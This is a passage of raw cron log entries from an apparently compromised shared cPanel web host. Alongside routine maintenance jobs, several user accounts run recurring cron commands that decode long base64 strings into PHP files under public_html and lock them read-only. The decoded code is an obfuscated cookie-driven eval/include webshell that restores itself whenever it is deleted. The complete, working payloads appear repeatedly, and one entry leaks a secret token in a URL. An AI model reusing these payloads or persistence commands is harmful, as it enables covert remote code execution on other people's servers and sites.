nSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:38:02 medusa CROND[9276]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:38:02 medusa CROND[9277]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:38:02 medusa CROND[9278]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:38:02 medusa CROND[9285]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:39:01 medusa CROND[724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:39:01 medusa CROND[809]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:39:01 medusa CROND[843]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:39:01 medusa CROND[844]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 18:39:01 medusa CROND[850]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:39:01 medusa CROND[851]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:39:01 medusa CROND[854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:39:01 medusa CROND[858]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:39:01 medusa CROND[862]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:39:01 medusa CROND[863]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:39:01 medusa CROND[864]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:39:01 medusa CROND[865]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:39:01 medusa CROND[866]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:39:01 medusa CROND[867]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25125]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25263]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:40:01 medusa CROND[25265]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:40:01 medusa CROND[25264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:40:01 medusa CROND[25266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 18:40:01 medusa CROND[25267]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 18:40:01 medusa CROND[25268]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:40:01 medusa CROND[25274]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:40:01 medusa CROND[25277]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25280]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:40:01 medusa CROND[25284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:40:01 medusa CROND[25281]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:40:01 medusa CROND[25292]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:40:01 medusa CROND[25278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:40:01 medusa CROND[25294]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:40:01 medusa CROND[25296]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:40:01 medusa CROND[25297]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAg